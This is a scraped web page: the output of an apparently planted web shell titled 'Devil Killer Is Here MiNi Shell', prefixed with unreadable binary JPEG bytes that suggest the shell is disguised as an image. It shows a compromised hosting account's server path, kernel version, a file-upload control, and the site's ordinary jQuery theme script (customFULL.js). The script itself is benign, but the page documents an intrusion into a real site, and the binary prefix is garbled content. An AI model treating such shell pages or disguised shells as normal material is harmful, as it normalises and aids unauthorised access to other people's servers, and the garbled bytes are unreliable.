JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/sb_web/web/b1536/thelordoffloors.com/amkroofing/js/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/sb_web/web/b1536/thelordoffloors.com/amkroofing/js/customFULL.js

/*jslint browser: true*/
/*global $, jQuery, Modernizr, google, _gat*/
/*jshint strict: true */





/*************** GOOGLE ANALYTICS ***********/
/*************** REPLACE WITH YOUR OWN UA NUMBER ***********/
window.onload = function () { "use strict"; gaSSDSLoad("UA-XXXX"); }; //load after page onload
/*************** REPLACE WITH YOUR OWN UA NUMBER ***********/




var isMobile = false;
var isDesktop = false;

//LOAD AND RESIZE EVENTS
$(window).on("load resize",function(e){

		
		
		//mobile detection
		if(Modernizr.mq('only all and (max-width: 767px)') ) {
			isMobile = true;
		}else{
			isMobile = false;
			
		}

		//tablette and mobile detection
		if(Modernizr.mq('only all and (max-width: 1024px)') ) {
			isDesktop = false;
		}else{
			isDesktop = true;
		}

		
		toTop(isMobile);
});

//RESIZE EVENTS
$(window).resize(function () { 

	Modernizr.addTest('ipad', function () {
		return !!navigator.userAgent.match(/iPad/i);
	});
	
	if (!Modernizr.ipad) {  
	initializeMainMenu(); 
	}
});

/*
|--------------------------------------------------------------------------
| DOCUMENT READY
|--------------------------------------------------------------------------
*/  
$(document).ready(function() {


	"use strict";

  
	if( $("ul#og-grid").length){
		Grid.init();
	};


   /*
    |--------------------------------------------------------------------------
    |  INIT MAIN FUNCTIONS
    |--------------------------------------------------------------------------
    */

	initializeMainMenu();

   /*
    |--------------------------------------------------------------------------
    |  form placeholder for IE
    |--------------------------------------------------------------------------
    */
    if(!Modernizr.input.placeholder){

    	$('[placeholder]').focus(function() {
    		var input = $(this);
    		if (input.val() == input.attr('placeholder')) {
    			input.val('');
    			input.removeClass('placeholder');
    		}
    	}).blur(function() {
    		var input = $(this);
    		if (input.val() == '' || input.val() == input.attr('placeholder')) {
    			input.addClass('placeholder');
    			input.val(input.attr('placeholder'));
    		}
    	}).blur();
    	$('[placeholder]').parents('form').submit(function() {
    		$(this).find('[placeholder]').each(function() {
    			var input = $(this);
    			if (input.val() == input.attr('placeholder')) {
    				input.val('');
    			}
    		})
    	});

    }	

    /*
    |--------------------------------------------------------------------------
    | MAGNIFIC POPUP
    |--------------------------------------------------------------------------
    */


    if( $("a.image-link").length){

    	$("a.image-link").click(function (e) {

    		var items = [];

    		items.push( { src: $(this).attr('href')  } );

    		if($(this).data('gallery')){

    			var $arraySrc = $(this).data('gallery').split(',');

    			$.each( $arraySrc, function( i, v ){
    				items.push( {
    					src: v 
    				});
    			});     
    		}

    		$.magnificPopup.open({
    			type:'image',  			
    			mainClass: 'mfp-fade',
    			items:items,
    			gallery: {
    				enabled: true 
    			}

    		});

    		e.preventDefault();
    	});

    }



    if( $("a.image-iframe").length){
    	$('a.image-iframe').magnificPopup({type:'iframe',mainClass: 'mfp-fade', image: { titleSrc: 'test' } });
    }

    
    /*
    |--------------------------------------------------------------------------
    | TOOLTIP
    |--------------------------------------------------------------------------
    */

    $('.tips').tooltip({placement:'auto'});

    
    
    /*
    |--------------------------------------------------------------------------
    | COLLAPSE
    |--------------------------------------------------------------------------
    */

    $('.accordion').on('show hide', function(e){
    	$('.accordion-toggle').removeClass('active');
    	$(e.target).siblings('.accordion-heading').find('.accordion-toggle').addClass('active');
    	$(e.target).siblings('.accordion-heading').find('.accordion-toggle i').toggleClass('icon-plus icon-minus', 200);

    });

    /*
    |--------------------------------------------------------------------------
    | CONTACT
    |--------------------------------------------------------------------------
    */   
    $('.slideContact').click(function(e){

    	if ( $(window).width() >= 800){

    		$('#contact').slideToggle('normal', 'easeInQuad',function(){

    			$('#contactinfoWrapper').css('margin-left', 0);
    			$('#mapSlideWrapper').css('margin-left', 3000);
    			$('#contactinfoWrapper').fadeToggle();


    		});
    		$('#closeContact').fadeToggle(); 
    		return false;

    	}else{

    		return true;

    	}
    	e.preventDefault();
    });
    
    
    $('#closeContact').click(function(e){


    	$('#contactinfoWrapper').fadeOut('normal', 'easeInQuad',function(){
    		$('#contactinfoWrapper').css('margin-left', 0);
    		$('#mapSlideWrapper').css('margin-left', 3000);
    	});

    	$('#contact').slideUp('normal', 'easeOutQuad');

    	$(this).fadeOut();

    	e.preventDefault();

    });
    



    
    
    /* MAP */
    $('#mapTrigger').click(function(e){


    	$('#mapSlideWrapper').css('display', 'block');
    	initialize('mapWrapper');

    	$('#contactinfoWrapper, #contactinfoWrapperPage').animate({
    		marginLeft:'-2000px' 
    	}, 400, function() {}); 


    	$('#mapSlideWrapper').animate({
    		marginLeft:'25px' 
    	}, 400, function() {});  

    	appendBootstrap();

    	e.preventDefault();
    });



    appendBootstrap();
    
    
    
    $('#mapTriggerLoader').click(function(e){


    	$('#mapSlide').css('display', 'block');

    	$('#contactSlide').animate({
    		marginLeft:'-2000px' 
    	}, 400, function() {}); 


    	$('#mapSlide').animate({
    		marginLeft:'0' 
    	}, 400, function() {
    		$('#contactSlide').css('display', 'none');
    	});  


    	appendBootstrap();

    	e.preventDefault();
    });
    
    
    $('#mapReturn').click(function(e){
        //$('#mapWrapper').css('margin-bottom', '3em');
        
        $('#contactSlide').css('display', 'block');
        $('#mapSlide').animate({
        	marginLeft:'3000px' 
        }, 400, function() {});       
        

        $('#contactSlide').animate({
        	marginLeft:'0' 
        }, 400, function() {
        	$('#mapSlide').css('display', 'none');
        }); 

        e.preventDefault();
    }); 

    /*
    |--------------------------------------------------------------------------
    | OWL CAROUSEL
    |--------------------------------------------------------------------------
    */

    if($('.nekoDataOwl').length){
 
    	$( '.nekoDataOwl' ).each(function( index ) {

    		$(this).owlCarousel(
    		{
	            items:$(this).data('neko_items'),
	            navigation:$(this).data('neko_navigation'),
	            singleItem:$(this).data('neko_singleitem'),
	            autoPlay:$(this).data('neko_autoplay'),
	            itemsScaleUp:$(this).data('neko_itemsscaleup'),
				navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>'], 
				pagination:$(this).data('neko_pagination'),
	            paginationNumbers:$(this).data('neko_paginationnumbers'),
	            autoHeight:$(this).data('neko_autoheight'),
	            mouseDrag:$(this).data('neko_mousedrag'),
                transitionStyle:$(this).data('neko_transitionstyle')
    		});

  		});

    }


	/* OWL RETRO COMPATIBILITY (pre v1.4) */
    if($('#carouselWorks1').length){   

    	$("#carouselWorks1").owlCarousel({
    		singleItem:true,
    		navigation:true,
    		navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>']
    	});

    }
    
    if($('#carouselWorks3').length){   

        $("#carouselWorks3").owlCarousel(
        {
            items:3,
            navigation:true,
            navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>']
        });

    }

    if($('#carouselWorks4').length){   

        $("#carouselWorks4").owlCarousel(
        {
            items:4,
            navigation:true,
            navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>']
        });

    } 

    if($('#carouselWorks6').length){ 

    	$("#carouselWorks6").owlCarousel(
    	{
    		items:6,
    		navigation:true,
    		mouseDrag:false,
    		navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>']
    	});

    }

    if($('#homeCarousel').length){

    	$("#homeCarousel").owlCarousel(
    	{
    		items:1,
    		navigation:false,
    		singleItem: true,
    		transitionStyle: "backSlide",
    		autoPlay:4000,

    	});

    }

    if($('#carouselWorksFullscreen').length){

        $("#carouselWorksFullscreen").owlCarousel(
        {
            items:1,
            navigation:true,
            singleItem: true,
            autoPlay:4000,
            itemsScaleUp:true,
            navigationText:['<i class="icon-left-open"></i>','<i class="icon-right-open"></i>'],
            paginationNumbers:true
        });

    }
	/* OWL RETRO COMPATIBILITY */






    
    /*
    |--------------------------------------------------------------------------
    | FLEXSLIDER
    |--------------------------------------------------------------------------
    */ 
    if($('#flexHome').length){

    	$('#flexHome').flexslider({
    		animation: "slide",
    		controlNav:true,
    		directionNav:false, 
    		touch: true,
    		direction: "vertical"

    	});    
    }


    if($('.flexFullScreen').length){

    	$('.flexFullScreen').flexslider({
    		initDelay:1000,
    		animation: "slide",
    		controlNav: true,
    		directionNav: true,
    		slideshow: true,
    		touch: true,
    		easing: "easeInOutQuad",
    		smoothHeight: true, 
    		prevText: '<i class="icon-left-open"></i>',           
    		nextText: '<i class="icon-right-open"></i>',   
    		start: function(slider){
    			setTimeout("animateTxt("+slider.currentSlide+", 'in')", 600);  
    		},
    		before: function(slider){
    			setTimeout("animateTxt("+slider.currentSlide+")", 100);  
    		},
    		after: function(slider){
    			setTimeout("animateTxt("+slider.currentSlide+", 'in')", 100);  
    		} 
    	});

    }   


    
    /*
    |--------------------------------------------------------------------------
    | LAYERSLIDER
    |--------------------------------------------------------------------------
    */ 
    if($('#layer-slider').length){
    	$('#layerslider').layerSlider({
    		skinsPath : 'js-plugin/layerslider/layerslider/skins/',
    		skin : 'fullwidth',
    		autoStart : true,
    		thumbnailNavigation : 'disabled',
    		hoverPrevNext : false,
    		responsiveUnder : 1170,
    		sublayerContainer :1140

    	});
    }

    if($('#layer-slider-blog').length){
        $('#layerslider').layerSlider({
            skinsPath : 'js-plugin/layerslider/layerslider/skins/',
            skin : 'neko-fullwidth-dark',
            autoStart : true,
            thumbnailNavigation : 'disabled',
            hoverPrevNext : false,
            responsiveUnder : 1170,
            sublayerContainer :1140


        });
    }

    if($('#layer-slider-corporate').length){
        $('#layerslider').layerSlider({
            skinsPath : 'js-plugin/layerslider/layerslider/skins/',
            skin : 'neko-fullwidth',
            autoStart : true,
            thumbnailNavigation : 'disabled',
            hoverPrevNext : true,
            responsiveUnder : 1170,
            sublayerContainer :1140

        });
    }

     if($('#layer-slider-container').length){
        $('#layerslider').layerSlider({
            skinsPath : 'js-plugin/layerslider/layerslider/skins/',
            skin : 'neko-bottom',
            autoStart : true,
            thumbnailNavigation : 'hover',
            tnWidth : 100,
            tnHeight : 60,
            hoverPrevNext : false,
            responsiveUnder : 1170,
            sublayerContainer :1140

        });
    }
   
    /*
    |--------------------------------------------------------------------------
    | CAMERA SLIDER
    |--------------------------------------------------------------------------
    */ 
    if($('.camera_wrap').length){

    	jQuery('.camera_wrap').camera({
    		thumbnails: true,
    		pagination: true,
    		height:'35%',
    		fx:'simpleFade'
    	});

    }

    if($('.camera_wrap_nonav').length){

    	jQuery('.camera_wrap_nonav').camera({
    		pagination: false,
    		thumbnails: true,
    		height:'70%'
    	});

    }  
    if($('.camera_wrap_nothumb').length){

    	jQuery('.camera_wrap_nothumb').camera({
    		pagination: true,
    		thumbnails: false,
    		height:'40%'
    	});

    }  


    /*
    |--------------------------------------------------------------------------
    | MAIN ROLLOVER EFFECTS
    |--------------------------------------------------------------------------
    */     

    if($('.imgHover').length){

    	$('.imgHover article').hover(
    		function () {

    			var $this=$(this);

    			var fromTop = ($('.imgWrapper', $this).height()/2 - $('.iconLinks', $this).height()/2);
    			$('.iconLinks', $this).css('margin-top',fromTop);

				$('.mask', this).css('width', $('.imgWrapper', this).width()+2); // +2 = fix for TF preview iframe bug

    			if($('.pinBox').length){

    				$('.mediaHover', $this).height($('.imgWrapper', $this).height() + 15);   
    				$('.mask', this).css('height', $('.imgWrapper', this).height() + 15);


    			}else{

    				$('.mediaHover', $this).height($('.imgWrapper', $this).height());   
    				$('.mask', this).css('height', $('.imgWrapper', this).height());

    				if($this.hasClass('minimalBox')){
    					$('.mask', this).css('left', '0'); 
    					$('.mask', this).css('top', '0'); 
    				}

    			}

    			$('.mask', this).css('margin-top', 0);

    			$('.mask', this).stop(1).show().css('opacity',0).animate({opacity :1},200, function() {

    				$('.iconLinks', $this).css('display', 'block');
    				if(Modernizr.csstransitions) {
    					$('.iconLinks a').addClass('animated');


    					$('.iconLinks a', $this).removeClass('flipOutX'); 
    					$('.iconLinks a', $this).addClass('bounceInDown'); 

    				}else{

    					$('.iconLinks', $this).stop(true, false).fadeIn('fast');
    				}


    			});



    		},function () {

    			var $this=$(this);

    			var $offset = ($('.pinBox').length)?parseInt($('.pinBox').css('padding-top')):0;
    			
    			$('.mask', this).stop(1).show().animate({marginTop: $('.imgWrapper', $this).height() + $offset},200, function() {

    				if(Modernizr.csstransitions) {
    					$('.iconLinks a', $this).removeClass('bounceInDown'); 
    					$('.iconLinks a', $this).addClass('flipOutX'); 

    				}else{
    					$('.iconLinks', $this).stop(true, false).fadeOut('fast');
    				}

    			});

    		});
	}



    /*
    |--------------------------------------------------------------------------
    | ROLLOVER BTN
    |--------------------------------------------------------------------------
    */ 

    $('.socialIcon').hover(
    	function () {
    		$(this).stop(true, true).addClass('socialHoverClass', 300);
    	},
    	function () {
    		$(this).removeClass('socialHoverClass', 300);
    	});





    $('.tabs li, .accordion h2').hover(
    	function () {
    		$(this).stop(true, true).addClass('speBtnHover', 300);
    	},
    	function () {
    		$(this).stop(true, true).removeClass('speBtnHover', 100);
    	});



    /*
    |--------------------------------------------------------------------------
    | ALERT
    |--------------------------------------------------------------------------
    */ 
    $('.alert').delegate('button', 'click', function() {
    	$(this).parent().fadeOut('fast');
    });
    




    /*
    |--------------------------------------------------------------------------
    | Rollover boxIcon
    |--------------------------------------------------------------------------
    */ 
    if($('.boxIcon').length){

    	$('.boxIcon').hover(function() {
    		var $this = $(this);

    		$this.css('opacity', '1');   
            //$this.find('.boxContent>p').stop(true, false).css('opacity', 0);
            $this.addClass('hover');
            $('.boxContent>p').css('bottom', '-50px');
            $this.find('.boxContent>p').stop(true, false).css('display', 'block');

            $this.find('.iconWrapper i').addClass('triggeredHover');    

            $this.find('.boxContent>p').stop(true, false).animate({
            	'margin-top': '0px'},
            	300, function() {
            // stuff to do after animation is complete
        });


        }, function() {
        	var $this = $(this);
        	$this.removeClass('hover');

        	$this.find('.boxContent>p').stop(true, false).css('display', 'none');
        	$this.find('.boxContent>p').css('margin-top', '250px');
        	$this.find('.iconWrapper i').removeClass('triggeredHover'); 


        });   
    }   






    $('#quoteTrigger').click(function (e) {

        //$("#quoteWrapper").scrollTop(0);

        if(!$('#quoteFormWrapper').is(':visible')){
        	$('html, body').animate({scrollTop: $("#quoteWrapper").offset().top}, 300);
        }

        var $this = $(this);


        $('#quoteFormWrapper').slideToggle('fast', function() {

        	$this.text($('#quoteFormWrapper').is(':visible') ? "Close form" : "I have a project");

        });


        e.preventDefault();
    });



/*
|--------------------------------------------------------------------------
| SHARRRE
|--------------------------------------------------------------------------
*/
if($('#shareme-classic').length){

    $('#shareme-classic').sharrre({

        share: {
            googlePlus: true,
            facebook: true,
            twitter: true,
            linkedin: true
        },

        buttons: {
            googlePlus: {size: 'tall', annotation:'bubble'},
            facebook: {layout: 'box_count'},
            twitter: {count: 'vertical'},
            linkedin: {counter: 'top'}
        },

        enableHover: false,
        enableCounter: false,
        enableTracking: true,
      //url:'document.location.href'
  });
} 

if($('#shareme').length){

    $('#shareme').sharrre({

    share: {
        twitter: true,
        facebook: true,
        googlePlus: true
      },
      template: '<div class="box"><h4>Share this:</h4><a href="#" class="facebook"><i class="icon-facebook-1"></i></a><a href="#" class="twitter"><i class="icon-twitter-bird"></i></a><a href="#" class="googleplus"><i class="icon-gplus-1"></i></a></div>',
      enableHover: false,
      enableTracking: true,
      render: function(api, options){
      $(api.element).on('click', '.twitter', function() {
        api.openPopup('twitter');
      });
      $(api.element).on('click', '.facebook', function() {
        api.openPopup('facebook');
      });
      $(api.element).on('click', '.googleplus', function() {
        api.openPopup('googlePlus');
      });
}
  });
} 



/*
|--------------------------------------------------------------------------
| ROLL OVER PreviewTrigger
|--------------------------------------------------------------------------
*/
if($('.previewTrigger').length){

	$('.mask').css('height', $('.previewTrigger').height());
	$('.mask').css('width', $('.previewTrigger').width());
    // $('.mask', this).css('top', $('.previewTrigger', this).width());
    // $('.mask', this).css('left', $('.previewTrigger', this).width());

    $('.previewTrigger').hover(function() {

    	var $this = $(this);

    	$this.children('.mask').fadeIn('fast');

    	if(Modernizr.csstransitions) {
    		$('.iconWrapper', $this).addClass('animated');
    		$('.iconWrapper', $this).css('display', 'block');
    		$('.iconWrapper', $this).removeClass('flipOutX'); 
    		$('.iconWrapper', $this).addClass('bounceInDown'); 
    	}else{
    		$('.iconWrapper', $this).stop(true, false).fadeIn('fast');
    	}

    }, function() {

    	var $this = $(this); 

    	$this.children('.mask').fadeOut('fast');

    	if(Modernizr.csstransitions) {
    		$('.iconWrapper', $this).removeClass('bounceInDown'); 
    		$('.iconWrapper', $this).addClass('flipOutX');
    		$('.iconWrapper', $this).css('display', 'none');
    		$('.iconWrapper', $this).removeClass('animated');
    	}else{
    		$('.iconWrapper', $this).stop(true, false).fadeOut('fast');
    	}

    });
}





/*
|--------------------------------------------------------------------------
| PORTFOLIO SHEET SYSTEM
|--------------------------------------------------------------------------
*/
// PAGE SLIDE
/*$(".portfolioSheet").pageslide({
    direction: "left",
    modal: true,
    iframe: false,
    speed: "250"
});*/



/*
|--------------------------------------------------------------------------
| AUTOCLOSE BOOSTRAP MENU
|--------------------------------------------------------------------------
*/

$('#resMainMenu .nav a').on('click', function(){
    $(".navbar-toggle").click();
});





//END DOCUMENT READY   
});



/*
|--------------------------------------------------------------------------
| EVENTS TRIGGER AFTER ALL IMAGES ARE LOADED
|--------------------------------------------------------------------------
*/
$(window).load(function() {

	"use strict";
    
    /*
    |--------------------------------------------------------------------------
    | PRELOADER
    |--------------------------------------------------------------------------
    */
    if($('#preloader').length){
        $('#status').fadeOut(); // will first fade out the loading animation
        $('#preloader').delay(350).fadeOut('slow'); // will fade out the white DIV that covers the website.
        $('body').delay(350).css({'overflow':'visible'});
    }
    
     if($('#preloaderPortfolio').length){
        $('#status').fadeOut(); // will first fade out the loading animation
        $('#preloaderPortfolio').delay(350).fadeOut('slow'); // will fade out the white DIV that covers the website.
        $('body').delay(350).css({'overflow':'visible'});
    }
    

    /*
    |--------------------------------------------------------------------------
    | ISOTOPE USAGE FILTERING
    |--------------------------------------------------------------------------
    */ 
    if($('.isotopeWrapper').length){

    	var $container = $('.isotopeWrapper');
    	var $resize = $('.isotopeWrapper').attr('id');
        // initialize isotope
        
        $container.isotope({
        	layoutMode: 'sloppyMasonry',
        	itemSelector: '.isotopeItem',
            resizable: false, // disable normal resizing
            masonry: {
            	columnWidth: $container.width() / $resize
            }     
        });
        var rightHeight = $('#works').height();
        $('#filter a').click(function(){


        	$('#works').height(rightHeight);
        	$('#filter a').removeClass('current');


        	$(this).addClass('current');
        	var selector = $(this).attr('data-filter');
        	$container.isotope({
        		filter: selector,
        		animationOptions: {
        			duration: 1000,
        			easing: 'easeOutQuart',
        			queue: false
        		}
        	});
        	return false;
        });
        
        
        $(window).smartresize(function(){
        	$container.isotope({
                // update columnWidth to a percentage of container width
                masonry: {
                	columnWidth: $container.width() / $resize
                }
            });
        });
        
        $container.isotope('reLayout');

    }  


    /**PROCESS ICONS**/
    $('.iconBoxV3 a').hover(function() {

    	if(Modernizr.csstransitions) {

    		$(this).stop(false, true).toggleClass( 'hover', 150);
    		$('i', this).css('-webkit-transform', 'rotateZ(360deg)');
    		$('i', this).css('-moz-transform', 'rotateZ(360deg)');
    		$('i', this).css('-o-transform', 'rotateZ(360deg)');
    		$('i', this).css('transform', 'rotateZ(360deg)'); 

    	}else{

    		$(this).stop(false, true).toggleClass( 'hover', 150);

    	}  

    }, function() {

    	if(Modernizr.csstransitions) {
    		$(this).stop(false, true).toggleClass( 'hover', 150);
    		$('i', this).css('-webkit-transform', 'rotateZ(0deg)');
    		$('i', this).css('-moz-transform', 'rotateZ(0deg)');
    		$('i', this).css('-o-transform', 'rotateZ(0deg)');
    		$('i', this).css('transform', 'rotateZ(0deg)'); 

    	}else{

    		$(this).stop(false, true).toggleClass( 'hover', 150);
    	}  

    });

    if($('.scrollMenu').length){


    	if($('.localscroll').length){   

    		/*if($('.header3').length || $('.header5').length || $('.header6').length){
    			$offset = ;
    		}else{
    			$offset = 100;
    		}*/


    		$('.localscroll').localScroll({
    			lazy: true,
    			offset: {
    				top:  -100
    			}
    		});

    	}


    }


    if (isDesktop === true && $('[id^="paralaxSlice"]').length )
    {

    	$(window).stellar({
    		horizontalScrolling: false,
    		responsive:true
    	});
    }

	/*
	|--------------------------------------------------------------------------
	| BACKGROUND IMG ADDING AND CUSTOM CILENT HOVER EFFECT  
	|--------------------------------------------------------------------------
	*/ 

	if($('#clients .owl-carousel').length){


		// Fade in images so there isn't a color "pop" document load and then on window load
		$("#clients .owl-carousel img").fadeIn(500);

		// clone image
		$('#clients .owl-carousel img').each(function(){
			var el = $(this);

			el.clone().addClass('img_grayscale').css({"position":"absolute","z-index":"998","opacity":"0", "left":"15"}).insertBefore(el).queue(function(){
				var el = $(this);
				el.dequeue();
			});

			this.src = grayscale(this.src);
		});
		
		// Fade image 
		$('#clients .owl-carousel img.img_grayscale').mouseenter(function(){
			$(this).parent().find('img:first').width($(this).parent().find('img:gt(0)').width());
			$(this).parent().find('img:first').height($(this).parent().find('img:gt(0)').height());

			$(this).parent().find('img:first').stop().animate({opacity:1}, 1000);
		})
		$('.img_grayscale').mouseout(function(){
			$(this).stop().animate({opacity:0}, 1000);
		});		

	}


//END WINDOW LOAD
});


/*
|--------------------------------------------------------------------------
| FUNCTIONS
|--------------------------------------------------------------------------
*/


/* Grayscale w canvas method  */
	function grayscale(src){
		var canvas = document.createElement('canvas');
		var ctx = canvas.getContext('2d');
		var imgObj = new Image();
		imgObj.src = src;
		canvas.width = imgObj.width;
		canvas.height = imgObj.height; 
		ctx.drawImage(imgObj, 0, 0); 
		var imgPixels = ctx.getImageData(0, 0, canvas.width, canvas.height);
		for(var y = 0; y < imgPixels.height; y++){
			for(var x = 0; x < imgPixels.width; x++){
				var i = (y * 4) * imgPixels.width + x * 4;
				var avg = (imgPixels.data[i] + imgPixels.data[i + 1] + imgPixels.data[i + 2]) / 3;
				imgPixels.data[i] = avg; 
				imgPixels.data[i + 1] = avg; 
				imgPixels.data[i + 2] = avg;
			}
		}
		ctx.putImageData(imgPixels, 0, 0, 0, 0, imgPixels.width, imgPixels.height);
		return canvas.toDataURL();
    }



/* CONTACT FROM */

jQuery(function() {
	"use strict";
	if( jQuery("#contactfrm").length ){

		jQuery("#contactfrm").validate({
        // debug: true,
        errorPlacement: function(error, element) {
        	error.insertBefore( element );
        },
        submitHandler: function(form) {
        	jQuery(form).ajaxSubmit({
        		target: ".result"
        	});
        },
        onkeyup: false,
        onclick: false,
        rules: {
        	name: {
        		required: true,
        		minlength: 3
        	},
        	email: {
        		required: true,
        		email: true
        	},
        	phone: {
        		required: true,
        		minlength: 10,
        		digits:true
        	},
        	comment: {
        		required: true,
        		minlength: 10,
        		maxlength: 350
        	}
        }
    });
	}

	if( jQuery("#projectQuote").length){

		jQuery("#projectQuote").validate({
        // debug: true,
        errorPlacement: function(error, element) {
        	error.insertBefore(element);
        },
        submitHandler: function(form) {
        	jQuery(form).ajaxSubmit({
        		target: ".quoteResult"
        	});
        },
        onkeyup: false,

        
        rules: {
        	name: {
        		required: true,
        		minlength: 3
        	},
        	email: {
        		required: true,
        		email: true
        	},
        	company: {
        		required: true,
        		minlength: 2
        	},
        	quoteType:{
        		required: true
        	},
        	comment: {
        		required: true,
        		minlength: 10,
        		maxlength: 350
        	}

        }
    });



	}

});

/* CONTACT FROM */

/* FLEXSLIDER INNER INFO CUSTOM ANIMATION */
function animateTxt(curSlide, action){
	"use strict";
	if(action === 'in'){
		var i = 0;
		var animaDelay = 0.2;

		$('.slideN'+curSlide+':not([class*=clone])>.caption').css('display', 'block');

		$('.slideN'+curSlide+':not([class*=clone])>.caption>div').each(function( ) {
			if(Modernizr.csstransitions) { 

				$(this).css('-webkit-animation-delay', animaDelay+'s');
				$(this).css('-moz-animation-delay', animaDelay+'s');
				$(this).css('-0-animation-delay', animaDelay+'s');
				$(this).css('-ms-animation-delay', animaDelay+'s');
				$(this).css('animation-delay-delay', animaDelay+'s');

				$(this).show().addClass('animated').addClass($(this).attr('data-animation'));


                // $(this).show('slow', function() {
                //     $(this).addClass('animated').addClass($(this).attr('data-animation'));
                // });


	}else{
		var timing;
		$('.slideN'+curSlide+':not([class*=clone])>.caption>div').hide();
